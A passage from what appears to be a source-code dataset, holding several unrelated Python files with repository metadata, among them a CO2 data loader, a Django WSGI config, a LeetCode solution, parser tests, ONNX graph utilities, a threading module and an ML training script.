'New Hampshire': 'NH',
'New Jersey': 'NJ',
'New Mexico': 'NM',
'New York': 'NY',
'North Carolina': 'NC',
'North Dakota': 'ND',
'Ohio': 'OH',
'Oklahoma': 'OK',
'Oregon': 'OR',
'Pennsylvania': 'PA',
'Rhode Island': 'RI',
'South Carolina': 'SC',
'South Dakota': 'SD',
'Tennessee': 'TN',
'Texas': 'TX',
'Utah': 'UT',
'Vermont': 'VT',
'Virginia': 'VA',
'Washington': 'WA',
'West Virginia': 'WV',
'Wisconsin': 'WI',
'Wyoming': 'WY',
'United States': 'USA',
'District of Columbia': 'DC',
}
def get_CO2(dta_type='State', year=None, url=None):
#get the coresponding CO2 data
#dta_type options => state or LatLong
if dta_type == 'State':
#get the EIA data
#read in CO2 data and get in right format by STATE
if url==None:
df = pd.read_csv("CO2-Data-By-Category.csv")
else:
df = pd.read_csv(url)
df['STT'] = df.State.apply(lambda x: states[x])
#Filter to get the states only
df = df[df.STT != 'USA']
df = df[df.STT != 'DC']
if year == None:
return df
else:
data = df[['State', 'STT', str(year), 'Percent', 'Absolute', 'category']]
return data
elif dta_type == 'LatLong':
if url == None:
df = pd.read_csv('CO2-data.csv')
else:
df = pd.read_csv(url)
# Set longitude to (-180, +180]
df['DLONG'] = df['LONG'] - 180
# Set longitude to [-90, +90)
df['DLAT'] = -df['LAT'] + 90
if year == None:
return df
else:
data = df[['DLAT', 'DLONG', str(year)]]
return data
else:
return IndexError
| 25.320388 | 86 | 0.459356 |
795c12d50bd8cf9396f0ebc143aec9dcdbbc329d | 1,497 | py | Python | samples/generated_samples/aiplatform_v1_generated_featurestore_service_get_entity_type_async.py | sakagarwal/python-aiplatform | 62b4a1ea589235910c6e87f027899a29bf1bacb1 | [
"Apache-2.0"
] | 1 | 2022-03-30T05:23:29.000Z | 2022-03-30T05:23:29.000Z | samples/generated_samples/aiplatform_v1_generated_featurestore_service_get_entity_type_async.py | sakagarwal/python-aiplatform | 62b4a1ea589235910c6e87f027899a29bf1bacb1 | [
"Apache-2.0"
] | null | null | null | samples/generated_samples/aiplatform_v1_generated_featurestore_service_get_entity_type_async.py | sakagarwal/python-aiplatform | 62b4a1ea589235910c6e87f027899a29bf1bacb1 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Generated code. DO NOT EDIT!
#
# Snippet for GetEntityType
# NOTE: This snippet has been automatically generated for illustrative purposes only.
# It may require modifications to work in your environment.
# To install the latest published package dependency, execute the following:
# python3 -m pip install google-cloud-aiplatform
# [START aiplatform_v1_generated_FeaturestoreService_GetEntityType_async]
from google.cloud import aiplatform_v1
async def sample_get_entity_type():
# Create a client
client = aiplatform_v1.FeaturestoreServiceAsyncClient()
# Initialize request argument(s)
request = aiplatform_v1.GetEntityTypeRequest(
name="name_value",
)
# Make the request
response = await client.get_entity_type(request=request)
# Handle the response
print(response)
# [END aiplatform_v1_generated_FeaturestoreService_GetEntityType_async]
| 32.543478 | 85 | 0.765531 |
795c1407d9a2fb75731f5ab46cc072b97ecfa5ac | 395 | py | Python | rowingcrm/wsgi.py | Aleccc/gtcrew | 7e6e7024afdbf48ee796cb1f9a86b913e6843dda | [
"MIT"
] | null | null | null | rowingcrm/wsgi.py | Aleccc/gtcrew | 7e6e7024afdbf48ee796cb1f9a86b913e6843dda | [
"MIT"
] | 21 | 2019-02-14T02:47:34.000Z | 2022-01-23T02:22:54.000Z | rowingcrm/wsgi.py | Aleccc/gtcrew | 7e6e7024afdbf48ee796cb1f9a86b913e6843dda | [
"MIT"
] | null | null | null | """
WSGI config for rowingcrm project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "rowingcrm.settings")
application = get_wsgi_application()
| 23.235294 | 78 | 0.787342 |
795c142af1751586291a6a6782b06600289ab14a | 1,536 | py | Python | 3.py | wilbertgeng/LeetCode_exercise | f00c08e0d28ffa88d61d4262c6d1f49f1fa91ebc | [
"MIT"
] | null | null | null | 3.py | wilbertgeng/LeetCode_exercise | f00c08e0d28ffa88d61d4262c6d1f49f1fa91ebc | [
"MIT"
] | null | null | null | 3.py | wilbertgeng/LeetCode_exercise | f00c08e0d28ffa88d61d4262c6d1f49f1fa91ebc | [
"MIT"
] | null | null | null | """Longest Substring Without Repeating Characters
Given a string s, find the length of the longest substring without repeating characters.
Example 1:
Input: s = "abcabcbb"
Output: 3
Explanation: The answer is "abc", with the length of 3.
Example 2:
Input: s = "bbbbb"
Output: 1
Explanation: The answer is "b", with the length of 1.
Example 3:
Input: s = "pwwkew"
Output: 3
Explanation: The answer is "wke", with the length of 3.
Notice that the answer must be a substring, "pwke" is a subsequence and not a substring.
Example 4:
Input: s = ""
Output: 0"""
class Solution(object):
def lengthOfLongestSubstring(self, s):
"""
:type s: str
:rtype: int
"""
############################
window = {}
left = 0
right = 0
length = float('-inf')
while right < len(s):
c = s[right]
right += 1
window[c] = window.get(c, 0) + 1
while window[c] > 1:
d = s[left]
window[d] -= 1
left += 1
length = max(length, right - left)
return 0 if length == float('-inf') else length
##############
if s == 0:
return 0
map = {}
max_length = start = 0
for i in range(len(s)):
if s[i] in map and start <= map[s[i]]:
start = map[s[i]] + 1
else:
max_length = max(max_length, i - start + 1)
map[s[i]] = i
return max_length
| 24.380952 | 88 | 0.504557 |
795c1496f6fd708a62b6380324ae26de3aceec1d | 2,321 | py | Python | comment_parser/parsers/tests/c_parser_test.py | dexpota/comment_parser | 420bb018ffaa7e5b29d34d818b8c900a535afe0a | [
"MIT"
] | null | null | null | comment_parser/parsers/tests/c_parser_test.py | dexpota/comment_parser | 420bb018ffaa7e5b29d34d818b8c900a535afe0a | [
"MIT"
] | null | null | null | comment_parser/parsers/tests/c_parser_test.py | dexpota/comment_parser | 420bb018ffaa7e5b29d34d818b8c900a535afe0a | [
"MIT"
] | null | null | null | #!/usr/bin/python
"""Tests for comment_parser.parsers.c_parser.py"""
from comment_parser.parsers import common as common
from comment_parser.parsers import c_parser as c_parser
import unittest
import builtins
from unittest import mock
from io import StringIO
class CParserTest(unittest.TestCase):
@mock.patch.object(builtins, 'open')
def ExtractComments(self, text, mock_open):
mock_file = StringIO(text)
mock_open.return_value = mock_file
return c_parser.extract_comments('filename')
def testSimpleMain(self):
text = "// this is a comment\nint main() {\nreturn 0;\n}\n"
comments = self.ExtractComments(text)
expected = [common.Comment(text[2:20], 1, multiline=False)]
self.assertEqual(comments, expected)
def testSingleLineComment(self):
text = '// single line comment'
comments = self.ExtractComments(text)
expected = [common.Comment(text[2:], 1, multiline=False)]
self.assertEqual(comments, expected)
def testSingleLineCommentInStringLiteral(self):
text = 'char* msg = "// this is not a comment"'
comments = self.ExtractComments(text)
self.assertEqual(comments, [])
def testMultiLineComment(self):
text = '/* multiline\ncomment */'
comments = self.ExtractComments(text)
expected = [common.Comment(text[2:-2], 1, multiline=True)]
self.assertEqual(comments, expected)
def testMultiLineCommentWithStars(self):
text = "/***************/"
comments = self.ExtractComments(text)
expected = [common.Comment(text[2:-2], 1, multiline=True)]
self.assertEqual(comments, expected)
def testMultiLineCommentInStringLiteral(self):
text = 'char* msg = "/* This is not a\\nmultiline comment */"'
comments = self.ExtractComments(text)
self.assertEqual(comments, [])
def testMultiLineCommentUnterminated(self):
text = 'int a = 1; /* Unterminated\\n comment'
self.assertRaises(
common.UnterminatedCommentError, self.ExtractComments, text)
@mock.patch.object(builtins, 'open')
def testExtractCommentsFileError(self, mock_open):
mock_open.side_effect = FileNotFoundError()
self.assertRaises(common.FileError, c_parser.extract_comments, '')
| 36.265625 | 74 | 0.674278 |
795c1541b4747b007e59949ae085f76ccb612058 | 5,691 | py | Python | keras2onnx/subgraph.py | vinitra-zz/keras-onnx | 8cd5d3ec5ed6f35dc9d964555a89c4722304e9e0 | [
"MIT"
] | null | null | null | keras2onnx/subgraph.py | vinitra-zz/keras-onnx | 8cd5d3ec5ed6f35dc9d964555a89c4722304e9e0 | [
"MIT"
] | null | null | null | keras2onnx/subgraph.py | vinitra-zz/keras-onnx | 8cd5d3ec5ed6f35dc9d964555a89c4722304e9e0 | [
"MIT"
] | 1 | 2020-10-01T09:26:58.000Z | 2020-10-01T09:26:58.000Z | ###############################################################################
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
###############################################################################
import six
import copy
import tensorflow as tf
from tensorflow.core.framework import attr_value_pb2
from tensorflow.core.framework import graph_pb2
from tensorflow.core.framework import node_def_pb2
from tensorflow.python.framework import tensor_util
def tsname_to_node(name):
return name.split(':')[0]
def _node_name(n):
if n.startswith("^"):
return n[1:]
else:
return n.split(":")[0]
def _extract_sub_graph(graph_def, dest_nodes, stop_nodes):
if not isinstance(graph_def, graph_pb2.GraphDef):
raise TypeError("graph_def must be a graph_pb2.GraphDef proto.")
if isinstance(dest_nodes, six.string_types):
raise TypeError("dest_nodes must be a list.")
name_to_node = {_node_name(n_.name): n_ for n_ in graph_def.node}
nodes_to_keep = dest_nodes[:]
# Now construct the output GraphDef
out = graph_pb2.GraphDef()
for n_ in nodes_to_keep:
out.node.extend([copy.deepcopy(name_to_node[n_])])
out.library.CopyFrom(graph_def.library)
out.versions.CopyFrom(graph_def.versions)
return out
def create_subgraph(tf_graph, node_list, sess, dst_scope=None):
"""
Create a tf subgraph from the node list.
:param tf_graph:
:param node_list:
:param sess:
:param dst_scope:
:return:
"""
variable_dict_names = []
variable_names = []
tensor_op_names = []
for n_ in node_list: # type: tf.Operation
tensor_op_names.extend([ts_.op.name for ts_ in n_.inputs])
if n_.type in ["Variable", "VariableV2", "VarHandleOp"]:
variable_name = n_.name
variable_dict_names.append(variable_name)
if n_.type == "VarHandleOp":
variable_names.append(variable_name + "/Read/ReadVariableOp:0")
else:
variable_names.append(variable_name + ":0")
if variable_names:
returned_variables = sess.run(variable_names)
else:
returned_variables = []
found_variables = dict(zip(variable_dict_names, returned_variables))
all_op_names = set([n_.name for n_ in node_list])
missing_ops = set(tensor_op_names) - all_op_names
replacement = {}
tf_graph_def = tf_graph.as_graph_def()
subgraph_def = _extract_sub_graph(tf_graph_def, [n_.name for n_ in node_list], missing_ops)
output_graph_def = graph_pb2.GraphDef()
how_many_converted = 0
for input_node in subgraph_def.node:
output_node = node_def_pb2.NodeDef()
if input_node.name in found_variables:
output_node.op = "Const"
output_node.name = input_node.name
dtype = input_node.attr["dtype"]
data = found_variables[input_node.name]
output_node.attr["dtype"].CopyFrom(dtype)
output_node.attr["value"].CopyFrom(
attr_value_pb2.AttrValue(
tensor=tensor_util.make_tensor_proto(
data, dtype=dtype.type, shape=data.shape)))
how_many_converted += 1
elif input_node.op == "ReadVariableOp" and (
input_node.input[0] in found_variables):
# The preceding branch converts all VarHandleOps of ResourceVariables to
# constants, so we need to convert the associated ReadVariableOps to
# Identity ops.
output_node.op = "Identity"
output_node.name = input_node.name
output_node.input.extend([input_node.input[0]])
output_node.attr["T"].CopyFrom(input_node.attr["dtype"])
if "_class" in input_node.attr:
output_node.attr["_class"].CopyFrom(input_node.attr["_class"])
elif input_node.name not in missing_ops:
output_node.CopyFrom(input_node)
else:
output_node = None
if output_node is not None:
output_graph_def.node.extend([output_node])
for input_node in tf_graph_def.node:
if input_node.name in missing_ops:
output_node = node_def_pb2.NodeDef()
output_node.op = "Placeholder"
output_node.name = input_node.name
replacement[input_node.name] = input_node.name
if str(input_node.attr["dtype"]):
output_node.attr["dtype"].CopyFrom(input_node.attr["dtype"])
elif str(input_node.attr["T"]):
output_node.attr["dtype"].CopyFrom(input_node.attr["T"])
else:
if input_node.op == 'All':
output_node.attr["dtype"].CopyFrom(attr_value_pb2.AttrValue(type="DT_BOOL"))
else:
raise RuntimeError("Can't get the node data type for %s" % input_node.name)
ts_shape = tf.graph_util.tensor_shape_from_node_def_name(tf_graph, input_node.name)
output_node.attr["shape"].CopyFrom(
attr_value_pb2.AttrValue(shape=ts_shape.as_proto()))
output_graph_def.node.extend([output_node])
output_graph_def.library.CopyFrom(subgraph_def.library)
with tf.Graph().as_default() as sub_graph:
im_scope = "" if dst_scope is None else dst_scope
tf.import_graph_def(output_graph_def, name=im_scope)
if im_scope:
replacement = {k_: im_scope + '/' + k_ for k_ in replacement}
return sub_graph, replacement
def is_placeholder_node(node):
return node.type == 'Placeholder'
| 38.979452 | 96 | 0.633456 |
795c1593d435459af636569c0d951ceef33a949e | 21,923 | py | Python | gnuradio-3.7.13.4/gnuradio-runtime/python/gnuradio/gr/gr_threading_23.py | v1259397/cosmic-gnuradio | 64c149520ac6a7d44179c3f4a38f38add45dd5dc | [
"BSD-3-Clause"
] | 1 | 2021-03-09T07:32:37.000Z | 2021-03-09T07:32:37.000Z | gnuradio-3.7.13.4/gnuradio-runtime/python/gnuradio/gr/gr_threading_23.py | v1259397/cosmic-gnuradio | 64c149520ac6a7d44179c3f4a38f38add45dd5dc | [
"BSD-3-Clause"
] | null | null | null | gnuradio-3.7.13.4/gnuradio-runtime/python/gnuradio/gr/gr_threading_23.py | v1259397/cosmic-gnuradio | 64c149520ac6a7d44179c3f4a38f38add45dd5dc | [
"BSD-3-Clause"
] | null | null | null | """Thread module emulating a subset of Java's threading model."""
# This started life as the threading.py module of Python 2.3
# It's been patched to fix a problem with join, where a KeyboardInterrupt
# caused a lock to be left in the acquired state.
import sys as _sys
try:
import thread
except ImportError:
del _sys.modules[__name__]
raise
from StringIO import StringIO as _StringIO
from time import time as _time, sleep as _sleep
from traceback import print_exc as _print_exc
# Rename some stuff so "from threading import *" is safe
__all__ = ['activeCount', 'Condition', 'currentThread', 'enumerate', 'Event',
'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Thread',
'Timer', 'setprofile', 'settrace']
_start_new_thread = thread.start_new_thread
_allocate_lock = thread.allocate_lock
_get_ident = thread.get_ident
ThreadError = thread.error
del thread
# Debug support (adapted from ihooks.py).
# All the major classes here derive from _Verbose. We force that to
# be a new-style class so that all the major classes here are new-style.
# This helps debugging (type(instance) is more revealing for instances
# of new-style classes).
_VERBOSE = False
if __debug__:
class _Verbose(object):
def __init__(self, verbose=None):
if verbose is None:
verbose = _VERBOSE
self.__verbose = verbose
def _note(self, format, *args):
if self.__verbose:
format = format % args
format = "%s: %s\n" % (
currentThread().getName(), format)
_sys.stderr.write(format)
else:
# Disable this when using "python -O"
class _Verbose(object):
def __init__(self, verbose=None):
pass
def _note(self, *args):
pass
# Support for profile and trace hooks
_profile_hook = None
_trace_hook = None
def setprofile(func):
global _profile_hook
_profile_hook = func
def settrace(func):
global _trace_hook
_trace_hook = func
# Synchronization classes
Lock = _allocate_lock
def RLock(*args, **kwargs):
return _RLock(*args, **kwargs)
class _RLock(_Verbose):
def __init__(self, verbose=None):
_Verbose.__init__(self, verbose)
self.__block = _allocate_lock()
self.__owner = None
self.__count = 0
def __repr__(self):
return "<%s(%s, %d)>" % (
self.__class__.__name__,
self.__owner and self.__owner.getName(),
self.__count)
def acquire(self, blocking=1):
me = currentThread()
if self.__owner is me:
self.__count = self.__count + 1
if __debug__:
self._note("%s.acquire(%s): recursive success", self, blocking)
return 1
rc = self.__block.acquire(blocking)
if rc:
self.__owner = me
self.__count = 1
if __debug__:
self._note("%s.acquire(%s): initial success", self, blocking)
else:
if __debug__:
self._note("%s.acquire(%s): failure", self, blocking)
return rc
def release(self):
me = currentThread()
assert self.__owner is me, "release() of un-acquire()d lock"
self.__count = count = self.__count - 1
if not count:
self.__owner = None
self.__block.release()
if __debug__:
self._note("%s.release(): final release", self)
else:
if __debug__:
self._note("%s.release(): non-final release", self)
# Internal methods used by condition variables
def _acquire_restore(self, (count, owner)):
self.__block.acquire()
self.__count = count
self.__owner = owner
if __debug__:
self._note("%s._acquire_restore()", self)
def _release_save(self):
if __debug__:
self._note("%s._release_save()", self)
count = self.__count
self.__count = 0
owner = self.__owner
self.__owner = None
self.__block.release()
return (count, owner)
def _is_owned(self):
return self.__owner is currentThread()
def Condition(*args, **kwargs):
return _Condition(*args, **kwargs)
class _Condition(_Verbose):
def __init__(self, lock=None, verbose=None):
_Verbose.__init__(self, verbose)
if lock is None:
lock = RLock()
self.__lock = lock
# Export the lock's acquire() and release() methods
self.acquire = lock.acquire
self.release = lock.release
# If the lock defines _release_save() and/or _acquire_restore(),
# these override the default implementations (which just call
# release() and acquire() on the lock). Ditto for _is_owned().
try:
self._release_save = lock._release_save
except AttributeError:
pass
try:
self._acquire_restore = lock._acquire_restore
except AttributeError:
pass
try:
self._is_owned = lock._is_owned
except AttributeError:
pass
self.__waiters = []
def __repr__(self):
return "<Condition(%s, %d)>" % (self.__lock, len(self.__waiters))
def _release_save(self):
self.__lock.release() # No state to save
def _acquire_restore(self, x):
self.__lock.acquire() # Ignore saved state
def _is_owned(self):
# Return True if lock is owned by currentThread.
# This method is called only if __lock doesn't have _is_owned().
if self.__lock.acquire(0):
self.__lock.release()
return False
else:
return True
def wait(self, timeout=None):
currentThread() # for side-effect
assert self._is_owned(), "wait() of un-acquire()d lock"
waiter = _allocate_lock()
waiter.acquire()
self.__waiters.append(waiter)
saved_state = self._release_save()
try: # restore state no matter what (e.g., KeyboardInterrupt)
if timeout is None:
waiter.acquire()
if __debug__:
self._note("%s.wait(): got it", self)
else:
# Balancing act: We can't afford a pure busy loop, so we
# have to sleep; but if we sleep the whole timeout time,
# we'll be unresponsive. The scheme here sleeps very
# little at first, longer as time goes on, but never longer
# than 20 times per second (or the timeout time remaining).
endtime = _time() + timeout
delay = 0.0005 # 500 us -> initial delay of 1 ms
while True:
gotit = waiter.acquire(0)
if gotit:
break
remaining = endtime - _time()
if remaining <= 0:
break
delay = min(delay * 2, remaining, .05)
_sleep(delay)
if not gotit:
if __debug__:
self._note("%s.wait(%s): timed out", self, timeout)
try:
self.__waiters.remove(waiter)
except ValueError:
pass
else:
if __debug__:
self._note("%s.wait(%s): got it", self, timeout)
finally:
self._acquire_restore(saved_state)
def notify(self, n=1):
currentThread() # for side-effect
assert self._is_owned(), "notify() of un-acquire()d lock"
__waiters = self.__waiters
waiters = __waiters[:n]
if not waiters:
if __debug__:
self._note("%s.notify(): no waiters", self)
return
self._note("%s.notify(): notifying %d waiter%s", self, n,
n!=1 and "s" or "")
for waiter in waiters:
waiter.release()
try:
__waiters.remove(waiter)
except ValueError:
pass
def notifyAll(self):
self.notify(len(self.__waiters))
def Semaphore(*args, **kwargs):
return _Semaphore(*args, **kwargs)
class _Semaphore(_Verbose):
# After Tim Peters' semaphore class, but not quite the same (no maximum)
def __init__(self, value=1, verbose=None):
assert value >= 0, "Semaphore initial value must be >= 0"
_Verbose.__init__(self, verbose)
self.__cond = Condition(Lock())
self.__value = value
def acquire(self, blocking=1):
rc = False
self.__cond.acquire()
while self.__value == 0:
if not blocking:
break
if __debug__:
self._note("%s.acquire(%s): blocked waiting, value=%s",
self, blocking, self.__value)
self.__cond.wait()
else:
self.__value = self.__value - 1
if __debug__:
self._note("%s.acquire: success, value=%s",
self, self.__value)
rc = True
self.__cond.release()
return rc
def release(self):
self.__cond.acquire()
self.__value = self.__value + 1
if __debug__:
self._note("%s.release: success, value=%s",
self, self.__value)
self.__cond.notify()
self.__cond.release()
def BoundedSemaphore(*args, **kwargs):
return _BoundedSemaphore(*args, **kwargs)
class _BoundedSemaphore(_Semaphore):
"""Semaphore that checks that # releases is <= # acquires"""
def __init__(self, value=1, verbose=None):
_Semaphore.__init__(self, value, verbose)
self._initial_value = value
def release(self):
if self._Semaphore__value >= self._initial_value:
raise ValueError, "Semaphore released too many times"
return _Semaphore.release(self)
def Event(*args, **kwargs):
return _Event(*args, **kwargs)
class _Event(_Verbose):
# After Tim Peters' event class (without is_posted())
def __init__(self, verbose=None):
_Verbose.__init__(self, verbose)
self.__cond = Condition(Lock())
self.__flag = False
def isSet(self):
return self.__flag
def set(self):
self.__cond.acquire()
try:
self.__flag = True
self.__cond.notifyAll()
finally:
self.__cond.release()
def clear(self):
self.__cond.acquire()
try:
self.__flag = False
finally:
self.__cond.release()
def wait(self, timeout=None):
self.__cond.acquire()
try:
if not self.__flag:
self.__cond.wait(timeout)
finally:
self.__cond.release()
# Helper to generate new thread names
_counter = 0
def _newname(template="Thread-%d"):
global _counter
_counter = _counter + 1
return template % _counter
# Active thread administration
_active_limbo_lock = _allocate_lock()
_active = {}
_limbo = {}
# Main class for threads
class Thread(_Verbose):
__initialized = False
def __init__(self, group=None, target=None, name=None,
args=(), kwargs={}, verbose=None):
assert group is None, "group argument must be None for now"
_Verbose.__init__(self, verbose)
self.__target = target
self.__name = str(name or _newname())
self.__args = args
self.__kwargs = kwargs
self.__daemonic = self._set_daemon()
self.__started = False
self.__stopped = False
self.__block = Condition(Lock())
self.__initialized = True
def _set_daemon(self):
# Overridden in _MainThread and _DummyThread
return currentThread().isDaemon()
def __repr__(self):
assert self.__initialized, "Thread.__init__() was not called"
status = "initial"
if self.__started:
status = "started"
if self.__stopped:
status = "stopped"
if self.__daemonic:
status = status + " daemon"
return "<%s(%s, %s)>" % (self.__class__.__name__, self.__name, status)
def start(self):
assert self.__initialized, "Thread.__init__() not called"
assert not self.__started, "thread already started"
if __debug__:
self._note("%s.start(): starting thread", self)
_active_limbo_lock.acquire()
_limbo[self] = self
_active_limbo_lock.release()
_start_new_thread(self.__bootstrap, ())
self.__started = True
_sleep(0.000001) # 1 usec, to let the thread run (Solaris hack)
def run(self):
if self.__target:
self.__target(*self.__args, **self.__kwargs)
def __bootstrap(self):
try:
self.__started = True
_active_limbo_lock.acquire()
_active[_get_ident()] = self
del _limbo[self]
_active_limbo_lock.release()
if __debug__:
self._note("%s.__bootstrap(): thread started", self)
if _trace_hook:
self._note("%s.__bootstrap(): registering trace hook", self)
_sys.settrace(_trace_hook)
if _profile_hook:
self._note("%s.__bootstrap(): registering profile hook", self)
_sys.setprofile(_profile_hook)
try:
self.run()
except SystemExit:
if __debug__:
self._note("%s.__bootstrap(): raised SystemExit", self)
except:
if __debug__:
self._note("%s.__bootstrap(): unhandled exception", self)
s = _StringIO()
_print_exc(file=s)
_sys.stderr.write("Exception in thread %s:\n%s\n" %
(self.getName(), s.getvalue()))
else:
if __debug__:
self._note("%s.__bootstrap(): normal return", self)
finally:
self.__stop()
try:
self.__delete()
except:
pass
def __stop(self):
self.__block.acquire()
self.__stopped = True
self.__block.notifyAll()
self.__block.release()
def __delete(self):
_active_limbo_lock.acquire()
del _active[_get_ident()]
_active_limbo_lock.release()
def join(self, timeout=None):
assert self.__initialized, "Thread.__init__() not called"
assert self.__started, "cannot join thread before it is started"
assert self is not currentThread(), "cannot join current thread"
if __debug__:
if not self.__stopped:
self._note("%s.join(): waiting until thread stops", self)
self.__block.acquire()
try:
if timeout is None:
while not self.__stopped:
self.__block.wait()
if __debug__:
self._note("%s.join(): thread stopped", self)
else:
deadline = _time() + timeout
while not self.__stopped:
delay = deadline - _time()
if delay <= 0:
if __debug__:
self._note("%s.join(): timed out", self)
break
self.__block.wait(delay)
else:
if __debug__:
self._note("%s.join(): thread stopped", self)
finally:
self.__block.release()
def getName(self):
assert self.__initialized, "Thread.__init__() not called"
return self.__name
def setName(self, name):
assert self.__initialized, "Thread.__init__() not called"
self.__name = str(name)
def isAlive(self):
assert self.__initialized, "Thread.__init__() not called"
return self.__started and not self.__stopped
def isDaemon(self):
assert self.__initialized, "Thread.__init__() not called"
return self.__daemonic
def setDaemon(self, daemonic):
assert self.__initialized, "Thread.__init__() not called"
assert not self.__started, "cannot set daemon status of active thread"
self.__daemonic = daemonic
# The timer class was contributed by Itamar Shtull-Trauring
def Timer(*args, **kwargs):
return _Timer(*args, **kwargs)
class _Timer(Thread):
"""Call a function after a specified number of seconds:
t = Timer(30.0, f, args=[], kwargs={})
t.start()
t.cancel() # stop the timer's action if it's still waiting
"""
def __init__(self, interval, function, args=[], kwargs={}):
Thread.__init__(self)
self.interval = interval
self.function = function
self.args = args
self.kwargs = kwargs
self.finished = Event()
def cancel(self):
"""Stop the timer if it hasn't finished yet"""
self.finished.set()
def run(self):
self.finished.wait(self.interval)
if not self.finished.isSet():
self.function(*self.args, **self.kwargs)
self.finished.set()
# Special thread class to represent the main thread
# This is garbage collected through an exit handler
class _MainThread(Thread):
def __init__(self):
Thread.__init__(self, name="MainThread")
self._Thread__started = True
_active_limbo_lock.acquire()
_active[_get_ident()] = self
_active_limbo_lock.release()
import atexit
atexit.register(self.__exitfunc)
def _set_daemon(self):
return False
def __exitfunc(self):
self._Thread__stop()
t = _pickSomeNonDaemonThread()
if t:
if __debug__:
self._note("%s: waiting for other threads", self)
while t:
t.join()
t = _pickSomeNonDaemonThread()
if __debug__:
self._note("%s: exiting", self)
self._Thread__delete()
def _pickSomeNonDaemonThread():
for t in enumerate():
if not t.isDaemon() and t.isAlive():
return t
return None
# Dummy thread class to represent threads not started here.
# These aren't garbage collected when they die,
# nor can they be waited for.
# Their purpose is to return *something* from currentThread().
# They are marked as daemon threads so we won't wait for them
# when we exit (conform previous semantics).
class _DummyThread(Thread):
def __init__(self):
Thread.__init__(self, name=_newname("Dummy-%d"))
self._Thread__started = True
_active_limbo_lock.acquire()
_active[_get_ident()] = self
_active_limbo_lock.release()
def _set_daemon(self):
return True
def join(self, timeout=None):
assert False, "cannot join a dummy thread"
# Global API functions
def currentThread():
try:
return _active[_get_ident()]
except KeyError:
##print "currentThread(): no current thread for", _get_ident()
return _DummyThread()
def activeCount():
_active_limbo_lock.acquire()
count = len(_active) + len(_limbo)
_active_limbo_lock.release()
return count
def enumerate():
_active_limbo_lock.acquire()
active = _active.values() + _limbo.values()
_active_limbo_lock.release()
return active
# Create the main thread object
_MainThread()
# Self-test code
def _test():
class BoundedQueue(_Verbose):
def __init__(self, limit):
_Verbose.__init__(self)
self.mon = RLock()
self.rc = Condition(self.mon)
self.wc = Condition(self.mon)
self.limit = limit
self.queue = []
def put(self, item):
self.mon.acquire()
while len(self.queue) >= self.limit:
self._note("put(%s): queue full", item)
self.wc.wait()
self.queue.append(item)
self._note("put(%s): appended, length now %d",
item, len(self.queue))
self.rc.notify()
self.mon.release()
def get(self):
self.mon.acquire()
while not self.queue:
self._note("get(): queue empty")
self.rc.wait()
item = self.queue.pop(0)
self._note("get(): got %s, %d left", item, len(self.queue))
self.wc.notify()
self.mon.release()
return item
class ProducerThread(Thread):
def __init__(self, queue, quota):
Thread.__init__(self, name="Producer")
self.queue = queue
self.quota = quota
def run(self):
from random import random
counter = 0
while counter < self.quota:
counter = counter + 1
self.queue.put("%s.%d" % (self.getName(), counter))
_sleep(random() * 0.00001)
class ConsumerThread(Thread):
def __init__(self, queue, count):
Thread.__init__(self, name="Consumer")
self.queue = queue
self.count = count
def run(self):
while self.count > 0:
item = self.queue.get()
print item
self.count = self.count - 1
NP = 3
QL = 4
NI = 5
Q = BoundedQueue(QL)
P = []
for i in range(NP):
t = ProducerThread(Q, NI)
t.setName("Producer-%d" % (i+1))
P.append(t)
C = ConsumerThread(Q, NI*NP)
for t in P:
t.start()
_sleep(0.000001)
C.start()
for t in P:
t.join()
C.join()
if __name__ == '__main__':
_test()
| 30.238621 | 79 | 0.564795 |
795c15fe20e4644c6284d0cae419bd6b6e24131a | 5,295 | py | Python | main.py | roytseng-tw/px2graph_lab | ab7d799d38ae32aa342b3aebce9edc246b140fa5 | [
"BSD-3-Clause"
] | 5 | 2018-08-07T16:37:04.000Z | 2020-09-22T00:56:52.000Z | main.py | roytseng-tw/px2graph_lab | ab7d799d38ae32aa342b3aebce9edc246b140fa5 | [
"BSD-3-Clause"
] | 1 | 2020-10-04T08:40:46.000Z | 2020-10-04T08:40:46.000Z | main.py | roytseng-tw/px2graph_lab | ab7d799d38ae32aa342b3aebce9edc246b140fa5 | [
"BSD-3-Clause"
] | null | null | null | import tensorflow as tf
import numpy as np
import h5py
from tqdm import tqdm
from px2graph_lab.util import setup
from px2graph_lab.opts import parse_command_line
def main():
# Initial setup
opt = parse_command_line()
train_flag = tf.placeholder(tf.bool, [])
task, loader, inp, label, sample_idx = setup.init_task(opt, train_flag)
net, loss, pred, accuracy, optim, lr = setup.init_model(opt, task, inp, label,
sample_idx, train_flag)
# Prepare TF session
summaries, image_summaries = task.setup_summaries(net, inp, label, loss, pred, accuracy)
saver = tf.train.Saver()
sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True))
sess.run(tf.global_variables_initializer())
writer = tf.summary.FileWriter('exp/'+opt.exp_id, sess.graph)
# Start data loading threads
loader.start_threads(sess)
# Restore previous session if continuing experiment
if opt.restore_session is not None:
print("Restoring previous session...",'(exp/' + opt.restore_session + '/snapshot)')
if opt.new_optim:
# Optimizer changed, don't load values associated with old optimizer
tmp_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)
tmp_saver = tf.train.Saver(tmp_vars)
tmp_saver.restore(sess, 'exp/' + opt.restore_session + '/snapshot')
else:
saver.restore(sess, 'exp/' + opt.restore_session + '/snapshot')
# Load pretrained weights
for tmp_model,scopes in opt.load_from.items():
for tmp_scope in scopes:
print("Loading weights from: %s, scope: %s" % (tmp_model, tmp_scope))
tmp_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=tmp_scope)
tmp_saver = tf.train.Saver(tmp_vars)
